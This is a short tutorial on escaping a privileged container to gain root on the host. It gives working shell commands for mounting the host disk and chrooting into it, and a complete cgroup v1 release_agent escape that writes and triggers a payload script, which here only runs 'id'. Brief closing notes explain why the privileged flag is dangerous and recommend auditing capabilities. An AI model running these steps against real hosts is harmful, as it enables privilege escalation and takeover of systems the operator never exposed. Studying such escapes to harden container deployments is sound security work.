Exploit a privileged container

Become root on the host from a container that was started with the guard rails off:

  1. Establish what the container actually holds

  2. Mount the host filesystem and change root into it

capsh --print
grep CapEff /proc/self/status
ls /dev | head

Example: mounting the host disk

A privileged container sees the host’s block devices, which is enough on its own. No exploit is involved: the container is permitted to mount them.

fdisk -l
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
chroot /mnt/host /bin/sh

Where the disk is not directly usable, CAP_SYS_ADMIN on a cgroup v1 host allows the release agent route, which runs a chosen binary on the host as root when the last process leaves a cgroup:

mkdir /tmp/cg && mount -t cgroup -o rdma cgroup /tmp/cg
mkdir /tmp/cg/x
echo 1 > /tmp/cg/x/notify_on_release

host=$(sed -n 's/.*\upperdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host/payload" > /tmp/cg/release_agent

printf '#!/bin/sh\nid > %s/out\n' "$host" > /payload
chmod +x /payload
sh -c "echo \$\$ > /tmp/cg/x/cgroup.procs"

Notes

The privileged flag is not one setting. It grants every capability, disables seccomp and the mandatory access control profile, and exposes host devices. Each of those alone is usually enough.

It exists because some workloads genuinely need it: building images inside a container, storage drivers, and anything that manages the host it runs on. That is why it appears in continuous integration runners and monitoring agents more often than anywhere else.

The release agent route depends on cgroup v1. Hosts running cgroup v2, which is now the common default, do not expose release_agent in the same way, so the disk mount tends to be the more durable of the two.

CAP_SYS_ADMIN without the full privileged flag covers a surprising amount of the same ground, which makes an audit of effective capabilities more informative than an audit of who passed --privileged.